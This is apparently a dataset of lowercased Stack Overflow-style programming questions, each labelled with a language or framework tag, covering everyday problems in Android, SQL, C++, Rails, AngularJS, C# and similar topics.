uiimagepickercontroller causes viewdidload - where to store image data   i found that <code>uiimagepickercontroller</code> can unload your parent view  especially if you bring up the camera  resulting in viewdidload being called again. i understand that this happens due to low memory. but i was storing the <code>uiimage*</code> from <code> imagepickercontroller:didfinishpickingmediawithinfo</code> in the view controller. this data is lost after a reload. (the <code>self</code> pointer for the view controller has changed  and the <code>uiimage*</code> is null.) so is it a bad idea to store such variables in the view controller  where should they be stored - in a global (singleton) object     thanks,iphone
.net application icon medium size render issue on win 7  i created a icon to use with my application and embedded all available sizes into the ico file.    in testing different sizes for viewing on windows server 2008 r2 i can see that all sizes render fine  including medium. however  when i push this application over to a windows 7 machine the medium size does not work. it appears as a blank page.    i read the article <a href= http://msdn.microsoft.com/en-us/library/aa511280.aspx#size  rel= nofollow >here</a> about dealing with icons in .net applications and i have included all of those sizes in my ico file.    i created the file with paint.net but i doubt that should really matter.    anyone have any ideas  this seems pretty straightforward so i don t understand where i messed up.,.net
how to drag parent from child using pep.jquery.js  i have just started using pep.jquery.js. i m not sure how popular it is but it has turned out extremely useful for some mobile sites that i have been working on.     i did however come across a problem. i would like to drag the parent of the current child being dragged. for instance dragging the whole parent only by its title bar and not from the content within.    current code:   <pre><code>&lt;body&gt; &lt;div class= window &gt; &lt;div class= titlebar &gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt;   $( .titlebar ).pep({axis:  x  stop: handlemenudrag usecsstranslation: false})  </code></pre>,jquery
rails console save not saving and is selecting from related table instead  when testing some things in the rails console i noticed this strange thing happening when i call a record and attempt to save it.   <pre><code>2.1.5 :026 &gt; p = workorder.first workorder load (0.4ms)  select  `work_orders`.* from `work_orders`   order by `work_orders`.`id` asc limit 1 =&gt; #&lt;workorder id: 3  client_id: 4  created_at:  2015-06-17 17:12:07   updated_at:  2015-06-17 17:12:07   duedate:  2015-07-17   number:  0221506-003   project_type_id: 2  monthlysequencenumber:  003   projectdescription:  project   status_id: 1  labels_id: nil&gt;  2.1.5 :027 &gt; p.save (0.2ms)  begin projecttype load (0.5ms)  select  `project_types`.* from `project_types`  where `project_types`.`id` = 2 limit 1 (0.1ms)  commit =&gt; true  </code></pre>   why does it appear to be performing a select on the associated object  also the records are not being committed back to the database. what am i missing that causes it to behave in such a seemingly strange way      edit: what prompted me to start try to save records that i pulled from the database was that i had an identical issue doing something like    <pre><code>p.delete </code></pre>   and then   <pre><code>p.save </code></pre>   which would return true  but would only perform that strange select on the project type,ruby-on-rails
return of `const bool` causes warning c4180 <pre><code>struct ccompare {     const bool operator()(const int&amp; lhs  const int&amp; rhs) const {         return lhs &lt; rhs;     } }; </code></pre>  <blockquote>    warning   1   warning c4180: qualifier applied to function type has no   meaning;  </blockquote>   i saw the usage with return value as <code>const bool</code> in a programming book. when i compiled the above code with vs2010  it reports the warning c4180.    the following code instead will not cause the same warning.   <pre><code>struct ccompare {     bool operator()(const int&amp; lhs  const int&amp; rhs) const {         return lhs &lt; rhs;     } }; </code></pre>   <strong>question1</strong>> is it true that the usage of <code>const fundamental_data_types</code> as a function returned value doesn t make sense      <strong>question2</strong>> is it true that the usage of <code>const type</code> as a function returned value only makes sense iff the type is a class/struct     thank you    // update //   <pre><code>struct cclass {     int val;     cclass(int _val) : val(_val) {}      void setvalue(int _val) {         val = _val;     } };  struct ccompare {     const cclass getme() const {         return cclass(10);     }      cclass getmeb() const {         return cclass(10);     } };  int main(/*int argc  char *argv[]*/)  {     ccompare c;      c.getme().setvalue(20);   // error     c.getmeb().setvalue(20);  // ok } </code></pre>,c++
php preg_replace return compilation failed: pcre does not support  i m trying to use  <code>preg_replace</code> with <code>[^\\u0000-\\uffff]</code> and i keep getting    <pre><code>compilation failed: pcre does not support </code></pre>   what should i do,php
can i change the action of an ng-submit at run time   i have this code:   <pre><code>&lt;form&gt;    &lt;button type= submit &gt;     do something 1    &lt;/button&gt;    &lt;button&gt;     do something 2    &lt;/button&gt; &lt;/form&gt; </code></pre>   i would like that when the user clicks on the button  do something 1  that the ng-submit expression gets fired.     however is there a way i can change what s inside the submit expression so:   <ul> <li> if (ts.test.current &amp;&amp; !ts.test.usertestid) the action is gettesta() </li> <li> if (ts.test.current &amp;&amp; ts.test.usertestid) the action is gettestb() </li> </ul>,angularjs
make hf clickable in webview  i have this code and i m trying to make this  here.  clickable:   <pre><code>// this is the html code in the file  &lt;a href=\ https://secfirst.org/terms\ &gt;here.&lt;/a&gt;  //load my html file     webview.loadurl( file:///android_res/drawable/terms.html ); </code></pre>   the webview is loaded well but when i click on  here.  there is a error message:   <pre><code>webpage not available the webpage at file:///android_res/drawable/terms.html could not be loaded because: net::: err_file_not_found </code></pre>   i know the error is <code>err_file_not_found</code> but it probably happens because of the url isn t working. any idea how to fix,android
how i can transport table in mysql  <a href= https://i.stack.imgur.com/zspbs.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/zspbs.png  alt= table column structure ></a>    this is my query:   <pre><code>select count(id) as agendas  (select count(id) from publications) as publication  (select count(id) from achievements) as achievements from agenda_details </code></pre>   how can i take result in the following view    <pre><code>| serial no|  category     | counts| |     1    | agendas       |   5   | |     2    | publications  |   5   | |     3    | achievements  |   5   | </code></pre>,mysql
how to go back from a previous page  so i want to go back from a previous everytime i press the back button it redirect me to the homepage i would like to know if someone can help me im new to this and here is where i try to implemented in my code.   <pre><code>public class directoryactivity extends appcompatactivity {      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_directory);          string url =  http://www.example.com ;           final webview mwebview = (webview) findviewbyid(r.id.webview7);         webview web = (webview) findviewbyid(r.id.webview7);         web.loadurl(url);           mwebview.getsettings().setjavascriptenabled(true);          mwebview.setscrollbarstyle(view.scrollbars_inside_overlay);         mwebview.getsettings().setsavepassword(true);         mwebview.getsettings().setsupportzoom(true);         mwebview.getsettings().setsaveformdata(true);         mwebview.getsettings().setsupportzoom(false);         mwebview.getsettings().setcachemode(websettings.load_no_cache);         mwebview.getsettings().setdomstorageenabled(true);         mwebview.getsettings().setsupportmultiplewindows(false);         mwebview.getsettings().setlighttouchenabled(true);         mwebview.getsettings().setbuiltinzoomcontrols(true);         mwebview.getsettings().setlayoutalgorithm(websettings.layoutalgorithm.normal);         mwebview.setwebviewclient(new webviewclient() {               public void onbackpressed() {                 if(mwebview.cangoback())                 {                     mwebview.goback();                 }                  else                 {                     directoryactivity.super.onbackpressed();                 }             }              public boolean shouldoverrideurlloading(webview view  string url) {                  return true;             }         });         mwebview.loadurl( http://www.example.com );      } } </code></pre>,android
error after running rake gems:install  i want to install the fedena school management system. when i type <code>rake gems:install</code> i get the following error:   <pre><code>/usr/local/share/gems/gems/rake-0.8.7/lib/rake/alt_system.rb:32: use rbconfig instead of obsolete and deprecated config. (in /var/www/html/fedena) rake aborted! undefined method `name  for  ascii85 :string  (see full trace by running task with --trace) </code></pre>   what shoud i do,ruby-on-rails
how to create an array of objects  whilst calling their constructors   i m in the process of porting some c++ code to java.    here s a snippet of my code:   <pre><code>class foo{  ...  private class bar {     public byte[] data;     public int    len;      bar() {         data = new byte[256];         len  = 0;     } }  ...   private bar[] myarray = new bar[10]; </code></pre>   i want to have an array of 10 objects. but when i want to use the array further in my code  i notice that all 10 members are  null .     as a workaround i can solve it with a for-loop in the constructor of the primary class:   <pre><code>foo() {     for( int i=0; i&lt;myarray.length; i++ )         myarray[i] = new bar(); } </code></pre>   is there a better way to call the 10 constructors at once  without the need for a for-loop,java
removing last character in c  the program i am writing needs to remove an ampersand character if it is the last character of a string. for instance  if <code>char* str</code> contains <code> firefox&amp; </code>  then i need to remove the ampersand so that <code>str</code> contains <code> firefox </code>. does anyone know how to do this,c
put application in foreground when app is in sleep mode using swift2  i am doing some kind of app which runs 24 hours a day but at night time i want to put my ipad in sleep mode to save battery and in morning again i want my app in active mode automatically (without user interaction).    is there any way to do this,ios
large html is displaying as raw html  i have a raw html which i get from backend and i have saved in the javascript variable. it is huge. this is my code. i have used struts property to set them. the value is coming  i have checked the struts property value.   <pre><code>var largehtml=  &lt;s:property value= ss  /&gt; ; document.getelementbyid( content ).innerhtml = largehtml; </code></pre>   when i changed that code to    <pre><code>var su =  &lt;s:property value= ss  /&gt; ; document.getelementbyid( content ).innerhtml =  &lt;p&gt;test&lt;/p&gt; ; </code></pre>   it is working. but for the largehtml  it is displaying raw html. thanks in advance.,html
writing to a file on the -iphone-unwanted symbols  i have an array and i am writing it to a file using :   <pre><code>memorystring=[memorystring stringbyappendingstring:whatsthetimenow];  [memoryfile addobject:memorystring]; [memoryfile writetofile:fullfilename atomically:no]; </code></pre>   the log is ok   but what i get on the log file is also some more symbols :   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;!doctype plist public  -//apple//dtd plist 1.0//en   http://www.apple.com/dtds/propertylist-1.0.dtd &gt; &lt;plist version= 1.0 &gt; &lt;array&gt;     &lt;string&gt;  touch event: lefteye    --- ר10 10:33:10---2011&lt;/string&gt;     &lt;string&gt;  sensor event: righthand    --- א10 10:33:26---2011&lt;/string&gt;     &lt;string&gt;  sensor event: righthand    --- ר10 10:33:29---2011&lt;/string&gt;     &lt;string&gt;  sensor event: rightleg    --- א10 10:33:32---2011&lt;/string&gt;     &lt;string&gt;  touch event: lefteye    --- ר10 10:33:34---2011&lt;/string&gt;     &lt;string&gt;  touch event: lefteye    --- א10 10:33:36---2011&lt;/string&gt;  &lt;/array&gt; &lt;/plist&gt; </code></pre>   the problem  is that i dont want that <code>&lt;string&gt;</code>  <code>&lt;array&gt;</code>  symbols at the start and end   and the 3 openning lines. how do i get rid of this symbols       thanks alot .,objective-c
system.io.filesysteminfo.exists  cannot be used like a method  i tried to make a program that will delete a file buy i m getting a <code>system.io.filesysteminfo.exists cannot be used like a method</code> exception when i run the code.   <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.linq; using system.text; using system.threading.tasks; using system.windows.forms; using system.io; namespace windowsformsapplication5 {     public partial class form1 : form     {         public form1()         {             initializecomponent();         }         fileinfo healthicon = new fileinfo(@ holo\normal\hud_health.texture );                               fileinfo file = new fileinfo(@ hud_health.texture );           ///hud icons textures(normal)                                               private void button1_click(object sender  eventargs e) ///health icon normal         {             ///health icon textures(normal)             if (healthicon.exists(@ c:\program files (x86)\steam\steamapps\common\payday 2\assets\mod_overrides\holohud\guis\textures\pd2\hud_health.texture ))             {                 file.delete(@ c:\program files (x86)\steam\steamapps\common\payday 2\assets\mod_overrides\holohud\guis\textures\pd2\hud_health.texture );             }             healthicon.copyto(@ c:\program files (x86)\steam\steamapps\common\payday 2\assets\mod_overrides\holohud\guis\textures\pd2 ); ///health icon normal          } } </code></pre>,c#
ms sql query for pos item sales  i have a sql question regarding pos system item sales data. in the database  there is a  totals  table. in that table  contains various records identified by the  ttltype  field. i m working with 2 types. values 11  which is the item pos sales  and 12  which is the item cost sales.    when i do my sql query  i m doing something along the lines of   <pre><code>select itemnumber         sum(itemcount)         sum(itemamount) from totals  where ttltype = 11        and date = 8/1/2012 </code></pre>   etc.    i d like to also include ttltype 12. how can i merge all of the data into one row     if i change my where to include ttltype 11 &amp; 12  i get 2 seperate rows for each menu item. the first one being ttltype 11 which is the sell price  and the next being 12 which is the cost. both ttltype use the same field names to record information (itemcount  itemamount)    i hope i explained this well enough. when i use the group by  i still get the same results.,sql
angularjs double curly braces don t work  i am new to <code>angular js</code>  when i tried to get and print out some <code>json</code> data using <code>$scope</code> variable  but double curly braces just don t work as i thought it would do.    html:   <pre><code>&lt;!doctype html&gt; &lt;html lang= en  ng-app= myapp &gt;  &lt;head&gt;     &lt;meta charset= utf-08 &gt;     &lt;meta name= author  content= yyq &gt;     &lt;meta name= description  content= yyqangularjs &gt;     &lt;title&gt;yyqangularjs&lt;/title&gt;     &lt;script src= script/angular.js  type= javascript &gt;&lt;/script&gt; &lt;/head&gt;  &lt;body ng-controller= mycontroller &gt; &lt;div&gt; haha {{ p.name }} &lt;/div&gt;  &lt;script src= script/jquery-3.1.1.js  type= javascript &gt;&lt;/script&gt; &lt;script src= script/index.js  type= javascript &gt;&lt;/script&gt; &lt;/body&gt;  &lt;/html&gt; </code></pre>   js:   <pre><code>$(window).on( load  function () {      var $myapp = angular.module( myapp  []);      $myapp.controller( mycontroller  function ($scope) {         $scope.p =             {                  name : a                    id : 1              }     });  }); </code></pre>   result:    haha {{ p.name }}    update:    html file:   <pre><code>&lt;!doctype html&gt;     &lt;html lang= en  ng-app= myapp &gt;      &lt;head&gt;         &lt;meta charset= utf-08 &gt;         &lt;meta name= author  content= yyq &gt;         &lt;meta name= description  content= yyqangularjs &gt;         &lt;title&gt;yyqangularjs&lt;/title&gt;         &lt;script src= script/angular.js  type= javascript &gt;&lt;/script&gt;     &lt;/head&gt;      &lt;body ng-controller= mycontroller &gt;     &lt;div&gt; haha {{ p.name }} &lt;/div&gt;      &lt;script src= script/jquery-3.1.1.js  type= javascript &gt;&lt;/script&gt;     &lt;script src= script/index.js  type= javascript &gt;&lt;/script&gt;     &lt;/body&gt;      &lt;/html&gt; </code></pre>   js file:   <pre><code>var $myapp = angular.module( myapp  []);          $myapp.controller( mycontroller  function ($scope) {             $scope.p =                 {                      name : a                        id : 1                  }         }); </code></pre>   and now i got this error:    uncaught error: [$injector:modulerr] failed to instantiate module myapp due to: error: [$injector:nomod] module  myapp  is not available! you either misspelled the module name or forgot to load it. if registering a module ensure that you specify the dependencies as the second argument.,angularjs
why is there a need to explicitly delete the sys.exc_info() traceback   i ve seen in different code bases and just read on pymotw (see the first note <a href= http://www.doughellmann.com/pymotw/sys/exceptions.html  rel= nofollow noreferrer >here</a>).    the explanation says that a cycle will be created in case the traceback is assigned to a variable from <code>sys.exc_info()[2]</code>  but why is that     how big of a problem is this  should i search for all uses of <code>exc_info</code> in my code base and make sure the traceback is deleted,python
scroll animation in jquery  i am working on a sticky header that is initially transparent  then on scroll becomes white. i am using this code   <pre><code>$(window).scroll(function() {         var scroll = $(window).scrolltop();      if (scroll &gt;= 100) {         $( .sticky ).addclass( color );     } else {         $( .sticky ).removeclass( color );     } }); </code></pre>   and it works well. the only problem is  if you load the page and your in the middle of the page - the animation isn t activated. it s in its original state of a transparent background.    is there a way i can alter this so that it always works if you are 100px down the page  regardless of where the page loads,jquery
can i read an address (already written) from file into a pointer  will it be useful   say i write address of a struct in myfile.txt. will i be able to read that address into my program  will that address be useful,c++
syntax error i do not know how to correct c++ code. (homework project) <pre><code>#include &lt;iostream&gt;   using namespace std;  int main() {   // prototypes:    float add_and_div(float  float  float);    // variables:    float x  y  z;   float result;    cout &lt;&lt;  enter three floats:  ;   cin &gt;&gt; x &gt;&gt; y &gt;&gt; z;   // continue the program here   add_and_div(x y z ); </code></pre>   when i try to compile  i get the following error message:syntax error :  )  1> 1>build failed.,c++
copy2 permissionerror: [winerror 32] the process cannot access the file because it is being used by another process:  i m copying a file to the temp dir   <pre><code>def uploadavatar(self  schid  img):     try:         img = path.abspath(img)         filename = self.generateavatarfilename(schid)         temp_dir = tempfile.gettempdir()         self.tmp = path.join(temp_dir  filename)         copy2(img  self.tmp)         #imgname = path.basename(self.tmp)         imgdir = path.dirname(self.tmp)+path.sep         self.retcode = ts3lib.createreturncode()         (error  ftid) = ts3lib.sendfile(schid  0       /avatar/ +filename  true  false  imgdir  self.retcode);     except:         try: from traceback import format_exc;ts3lib.logmessage(format_exc()  ts3defines.loglevel.loglevel_error   pytson script   0)         except:             try: from traceback import format_exc;print(format_exc())             except: print( unknown error ) </code></pre>   and want to delete it after i uploaded it   <pre><code>def onservererrorevent(self  schid  errormessage  error  returncode  extramessage):     if self.retcode == returncode: self.setavatar(schid  self.tmp);remove(self.tmp) </code></pre>   but i always get   <pre><code>error calling method of plugin dynamic avatar changer: traceback (most recent call last):   file  c:/users/blusc/appdata/roaming/ts3client/plugins/pytson/scripts\ts3plugin.py   line 259  in callmethod     ret.append(meth(*args))   file  c:/users/blusc/appdata/roaming/ts3client/plugins/pytson/scripts\dynamicavatar\__init__.py   line 114  in onservererrorevent     if self.retcode == returncode: self.setavatar(schid  self.tmp);remove(self.tmp) permissionerror: [winerror 32] the process cannot access the file because it is being used by another process:  c:\\users\\blusc\\appdata\\local\\temp\\avatar_zfv2rgu5mjnmb0nyn3hsn1nnu3bgqzdstfzzpq  </code></pre>   how can accomplish this  please help!,python
create event scheduler by another event  i m doing mysql event scheduler  but the problem that all events are done by timestamp  i need to create the event by another event    for example when i change a value of attribute in a table  i need to start the event scheduler,mysql
can t align -moz-box for firefox/ie  i m having some trouble in aligning -moz-box to display properly in firefox and ie. i can do it properly for chrome/opera by changing  -webkit-box-pack  to center/end etc and it works perfectly but the  -moz-box-pack  is not changing anything    here is the link of a sample page of my site <a href= http://www.awforum.co.nf/register  rel= nofollow >http://www.awforum.co.nf/register</a>   <pre><code>   body{        background-color:#eaeaea;        width:100;        display:-moz-box;        display:-webkit-box;        -moz-box-pack: center;        -webkit-box-pack:center;        //-moz-box-align:center;        //-webkit-box-align:center;        text-align: center;              } </code></pre>,css
setting a double qouted values in an input/textarea field html  i have a module <strong> edit info </strong>. information to be edited will be displayed in each corresponding fields. however  there are some data fetched from the database which are double quouted and aren t displayed. what is the solution for this     <pre><code>&lt;input class= form-control  name= description  type= text  value= &lt; php echo $item[0]-&gt;desc; &gt;  required&gt; </code></pre>,html
initializer list vs. initialization method  there are at least two ways to initialize a class in c++.    (1) initializer list   <pre><code>struct c {   int i;   c() : i(0) {} }; </code></pre>   (2) initializer method   <pre><code>struct d {   int i;   c() { init(); }   void init() {     i = 0;   } }; </code></pre>   i need to re-init objects of my class from time to time. with the second solution  i can simply call <code>obj.init()</code>. with the first solution  i would either have to add an <code>init()</code> function which essentially duplicates the initializer list effect or use <code>obj = c()</code>.    is there a more-or-less consensus on what variant is better here  is there a disadvantage to using an initializer method (except the possible loss of performance as <a href= http://www.parashift.com/c++-faq/init-lists.html  rel= nofollow >mentioned in the c++ faq</a>).,c++
install every version or latest version is enough   i m very confused with dotnet framework installation.     even though i ve installed the latest version (4.0)  some dotnet framework-based programs told me that i need to install version 1.1 or 2.0.     so  i m curious to know whether i need to install every version of dotnet framework so that every kind of such program can run. does it cause due to programmer s badly checks     thank you.,.net
rails nested attribute retrieval in controller  here s the structure of my code. i have a video attached with each cresponse and as far as i can tell i have been successful in uploading it. the problem comes when i need to convert it after the structure is saved. i wish to access the newly updated nested attribute (see lesson_controller) but am not sure how to go about doing so.     many thanks!     pier.     lesson.rb   <pre><code>class lesson &lt; activerecord::base     has_one :user     has_many :comments  :dependent =&gt; :destroy     has_many :cresponses  :dependent =&gt; :destroy     acts_as_commentable      accepts_nested_attributes_for :comments  :reject_if =&gt; lambda { |a| a[:body].blank  }          :allow_destroy =&gt; true     accepts_nested_attributes_for :cresponses </code></pre>   and here s cresponse.rb   <pre><code>class cresponse &lt; activerecord::base    belongs_to :lesson    attr_accessible :media  :accepted  :description  :user_id      # note: comments belong to a user    belongs_to :user  :polymorphic =&gt; true     # paperclip    require  paperclip     has_attached_file :media      :url =&gt;  /system/:lesson_id/:class/:basename.:extension      :path =&gt;  :rails_root/public/system/:lesson_id/:class/:basename.:extension  </code></pre>   here s my html view   <pre><code>&lt;% @cresponse = @lesson.cresponses.build %&gt;  &lt;%= form_for @lesson  :html =&gt; { :multipart =&gt; true } do |f| %&gt;  &lt;td class= list_discussion  colspan= 2 &gt;     &lt;div class= field &gt;      &lt;%= f.fields_for :cresponses  @cresponse  :url =&gt; @cresponse  :html =&gt; { :multipart =&gt; true } do |builder| %&gt;                 upload : &lt;%= builder.file_field :media %&gt;&lt;br /&gt;                 description : &lt;%= builder.text_field :description %&gt;                 &lt;%= builder.hidden_field :user_id   :value =&gt; current_user.id %&gt;      &lt;% end %&gt;     &lt;/div&gt; &lt;/td&gt; </code></pre>       and here s lesson_controller.rb - update   <pre><code>def update     @lesson = lesson.find(params[:id])      respond_to do |format|   if @lesson.update_attributes(params[:lesson])      **if @lesson.cresponses.** &lt;-- not sure how to find the cresponse that i need to convert       puts( gotta convert this )     end </code></pre>,ruby-on-rails
get <data android:scheme> attribute value from list of installed apps on android  on android i get the list of all installed apps. after that i want to launch any app using implicit intent. i need to know the value of data android:scheme attribute. for eg in android.manifest if an app has    <pre><code>&lt;data android:scheme= abc  /&gt; </code></pre>   i need to extract the string  abc  from the installed apps list so that i can launch only those apps with the    <pre><code>&lt;data android:scheme= abc  /&gt; </code></pre>   using implicit intents. is there any api that can be invoked to obtain apps <strong>android:scheme field</strong> like we can obtain packagename  versioncode etc,android
write down the sql to show the department in which the average salary of the employees (whose salary is greater than 5000) is less than 8000  write down the sql to show the department in which the average salary of the employees (whose salary is greater than 5000) is less than 8000.    this is what i wrote. i am not sure if this is correct.   <pre><code>select departments.department_name  employees.avg(salary) as avgsalary from departments inner join employees on departments.department_id = employees.department_id where avgsalary &gt; 5000 and avgsalary &lt; 8000; </code></pre>,sql
python sort a list with external key  i m trying to sort a list of entries based on the id of the entries.    i tried this code but it didn t work :    <pre><code>entries.sort(cmp=none  key=entry.id  reverse=false) </code></pre>   the objects in the list are entries wich have an id    this is the error i get: <strong>typeerror:  instrumentedattribute  object is not callable</strong>    any ideas     thanks in advance!,python
break up of amount - sql  i need to break an amount (number) into components  for instance  an amount of 58963 is to be broken into 50000  8000  900  60 and 3  how do i achieve this in sql using a function  any idea     regards     irfan,sql
replacing the activity indicator in the accessory view of a table cell with disclosure indicator  in one of my application i have a tableviewcontrolles with disclosure indicators in the accessory view. when user taps on a cell an activity indicator  is made the accessory view of tapped cell and another viewcontroller is pushed in. when i go back to the tableview i want to show the disclosure indicator instead of the activity indicator ...how can i do this...     any help will be appreciated.,iphone
sql: counting amount of duplicate records after group by  i have a large table containing information about which items (and in what amount) belong to which ordernumber.    now  this table is special in that it records all changes made in items linked to the ordernumber. kind of like this:   <pre><code>ordernumber | itemnumber | itemamnt  125           itm1         2 125           itm1         -2 125           itm1         1 125           itm2         5 125           itm2         -5 125           itm2         3 125           itm3         1 125           itm4         2 </code></pre>   to make the problem even harder it has a seemingly random amount of duplicate records inserted aswell. making it look like so:   <pre><code>ordernumber | itemnumber | itemamnt   |  count 125           itm1         2             5 125           itm1         -2            4 125           itm1         1             7 125           itm2         5             3 125           itm2         -5            4 125           itm2         3             2 125           itm3         1             3 125           itm4         2             3 </code></pre>   what i would like to achieve is to get the sum up the itemamnt of every itemnumber ignoring the amount of duplicates (a.k.a count column). e.g.: for itm1 this would be  2 - 2 + 1 = 1   for itm2 it would be  5 - 5 + 3 = 3 .    i hope i m making myself clear here  i d be happy to elaborate.     the current sql-code to achieve the table above:    <pre><code>select ordernumber  itemnumber  itemamnt  count(*) from item2order where ordernumber= 125  group by itemnumber  itemamnt </code></pre>   any help is greatly appreciated!,sql
web application references for a c# windows application developer  i am used to working on c# .net windows applications. i am interested in starting with web applications. can you suggest some good ebooks or references for c# asp.net to begin with for a guy like me who is comfortable with windows applications,asp.net
difference in variable declarations - objective c  my question is mostly conceptual - what exactly is the difference between the following two snippets of code     1)   <pre><code>@implementation person  {     nsstring *name; // other variables }   - (void) somemethod  @end </code></pre>   2)   <pre><code>@implementation person  nsstring *name; //other variables  - (void) somemethod  @end </code></pre>   the reason i ask is i was able to compile some code that followed format #2 but not format #1  and i was curious as to the difference between the two.,objective-c
how to add space between textbox and browse button for input file type  can we add space between the browse button and textbox for input type file  is that possible  aslo can i add border color for the same  textbox      thanks     michaeld,html
mysql where optional  if i have an example table like   <pre><code>id || value_a </code></pre>   i want to select 5 entries where value_a = 1. quite simple so far  but now if there are less results than 5  i want to still have 5 results. so if there are 3 entries with value_a = 1  then i want to get those 3 results and 2 other ones where value_a can be anything. how can i achieve this in the best way,mysql
few arguments to function  i m trying to understand why i m getting a   too few argument to function  message   <pre><code>result = total_area (diameter/3); </code></pre>   and same message come when its volume.    i tried calling both base and perimeter  as height but got a different message  also tried changing the numbers but same.,c
less accesiable than method <pre><code>class program     {         static void main(string[] args)         {             program p = new program();             student s = new student();              foreach (var item in p.ab())             {                 console.writeline(item.id+item.name+item.fname);               }          }          public  list&lt;student&gt; ab()          {             list&lt;student&gt; l = new list&lt;student&gt;()               {                  new student{id=1 name= hjk  fname= xyz }                };             return l;          }          class student         {             public int id { get; set; }             public string name { get; set; }             public string fname { get; set; }         } </code></pre>   <strong>inconsistent accessibility</strong>:    <blockquote>    return type    system.collections.generic.list    is less accessible than method  consoleapplication7.program.ab()   </blockquote>,c#
asp.net site stalling  i made a small edit to the master file of an asp.net site. (add some html code)    after i made the edit the site would no longer load. as a result  i went and removed my edit  and the site still wouldn t load.    it will not load any page  it just keeps loading but provides no output.     how do i debug  and/or fix this problem,asp.net
combine two queries in one  i should made a report from these datas:   <pre><code>|--------|---------------|------------|----------|--------------| | bil_id | bil_bookingid | bil_date   | bil_rate | bil_quantity | |--------|---------------|------------|----------|--------------| | 1      | 90            | 2017-04-01 | 85.00    | 1            | | 2      | 90            | 2017-04-02 | 85.00    | 1            | | 3      | 90            | 2017-04-03 | 85.00    | 1            | | 4      | 92            | 2017-04-07 | 95.00    | 1            | | 5      | 93            | 2017-04-10 | 85.00    | 1            | | 6      | 93            | 2017-04-11 | 85.00    | 1            | | 7      | 93            | 2017-04-12 | 85.00    | 1            | | 8      | 94            | 2017-04-07 | 95.00    | 1            | | 9      | 95            | 2017-04-12 | 95.00    | 1            | | 10     | 95            | 2017-04-13 | 95.00    | 1            | |--------|---------------|------------|----------|--------------| </code></pre>   i need:   <ul> <li>number of night per day booked. for example  from the datas table  i should have <code>2</code> for the <code>2017-04-12</code> and <code>1</code> for the other dates.</li> </ul>   the working query for that:   <pre><code>select bil_date  count(*) as total_nights  from ___billabledatas  where bil_date between  2017-04-01  and  2017-04-30   group by bil_date asc </code></pre>  <ul> <li>get the revenue for each date in the same period.</li> </ul>   the working query for that:   <pre><code>select bil_date  sum(bil_rate * bil_quantity) as sumrevaccomodation from `___billabledatas`  where bil_date between  2017-04-01  and  2017-04-30   group by bil_date asc </code></pre>  <hr>   my question: how i can combine these two queries in one,mysql
convert upper cast to lower cast and lower cast to upper cast in c# <pre><code>using system;  using system.numerics; using system.text; class myclass {     static void main(string[] args) {         string str;              char[] str1=str.tochararray();          foreach (char c in inputarray)     {         if (char.islower(c))        str += char.toupper(c);         else            str += char.tolower(c);     }          system.console.writeline( str );              } } </code></pre>   error:tmp/csharp_30f1_944d_bf85_a405_1481953523/editor_source_509c_cad9_9662_9111_1481953523.cs(8 23): error cs0103: the name `inputarray  does not exist in the current context compilation failed: 1 error(s)  0 warnings,c#
how to keep focus on the window opend using  window.open  after the page load of the parent page   i am working on an application. i have opened a window using   <pre><code>  window.open()  </code></pre>   now after opening this window  the parent page is getting refreshed(means page load is happening).     now   how can i set the focus on the child window after the page load of the parent page. please help.,asp.net
randomly generated number array  how do i create a random number array in java of sizes 100  200  300  etc. for this method    <pre><code>    public static void insertionsort(int[] arr){         for(int i = 1; i &lt; arr.length; i++){             int current = arr[i];             int k;             for(k = i - 1; k &gt;= 0 &amp;&amp; arr[k] &gt; current; k--){                 arr[k + 1] = arr[k];             }             arr[k + 1] = current;         }     } } </code></pre>,java
is there a reason why padding adds to the size of an element   i was very surprised when i found that a <code>&lt;div&gt;</code> with a size of - say - 200px becomes 220px wide if you give it 10px padding. it just makes no sense to me  the external size should not change when an internal setting does. it forces you to adjust the size every time you tweak the padding.    am i doing something wrong  or is there a reason for this behavior     edit: i know this is how it s supposed to work  my question is why  is it logical in a way i don t understand  does this give any advantage over the opposite approach of keeping size and padding separate,css
are mysql-innodb locks smart   the following queries   <pre><code>select * from (select * from users) where id = 1 </code></pre>   and   <pre><code>select * from users where id = 1 </code></pre>   are equivalent. but according to documentation  in serializable mode all selects are made in lock in shared mode. does it mean in the first example the whole users table will be locked in shared mode,mysql
find sum and average of multiple numbers  i am trying to write a program to find the sum of multiple amounts and the average of the amounts given. it doesn t seem to be working but i don t know if the issue is within my compiler of if it is my code. this is what i have so far.   <pre><code>#include &lt;iostream&gt; using namespace std;  int main() {     int n  i;     sum=0.0  average;      cout &lt;&lt;  enter the numbers of data:  ;     cin &gt;&gt; n;      for(i = 0; i &lt; n; ++i)     {         cout &lt;&lt; i + 1 &lt;&lt;  . enter number:  ;         cin &gt;&gt; num[i];         sum += num[i];     }      average = sum / n;     cout &lt;&lt;  average =   &lt;&lt; average;      return 0; } </code></pre>,c++
what is odp.net dll for asp.net core2 app  what is the dll for odp.net to download from nugget package  in .net core2 to connect oracle sql develooer. i have tried with oracle.dataaccess and oracle.manageddataaccess both are giving dependencies warning,.net
rails - show errors in production mode in env  is there a way to display errors in rails in production mode for only one site (i.e. by configuring something in the env)     i have a app that is run in multiple instances. one of those instances is a production test site (exactly the same as a real version of the site  but with fake information in the db). i would like dev style errors on this version of the app.    i know that i can make a change in my production.rb file  <code>config.consider_all_requests_local = true</code> but this change will affect all of my production sites.    is there a way i can set it on a per instance basis,ruby-on-rails
iphone: ib  switching between iphone and ipad  i have a project. when i choose some xib file  iphone simulator shows in ib. is there any whey to change it to ipad simulator   thanks in advance...,iphone
connect void to action   i just started to learn objective-c and one thing is not clear for me    ok i have a button in interface builder. i my .h file i have the code;   <pre><code>- (void)startbuttonpressed:(id)sender; </code></pre>   how i can <code> link </code> the <code> void </code> to my button to do the action     code here is not working how do i need to do that    <pre><code>    - (void)startbuttonpressed:(id)sender {   //some stuff in here      } </code></pre>   does anyone know how to fix this problem,objective-c
ruby on rails - global variable persistence across requests  in a ror application  i would like to load a set of key/values from db into a global variable which persists across requests and clear the variable as and when i need. my application runs in a was cluster. i tried a few things. 1. used memcachestore and read/write/clear as needed. 2. load the key/values in a yaml file and clear it when required. please let me know if i could do it differently.thanks.,ruby-on-rails
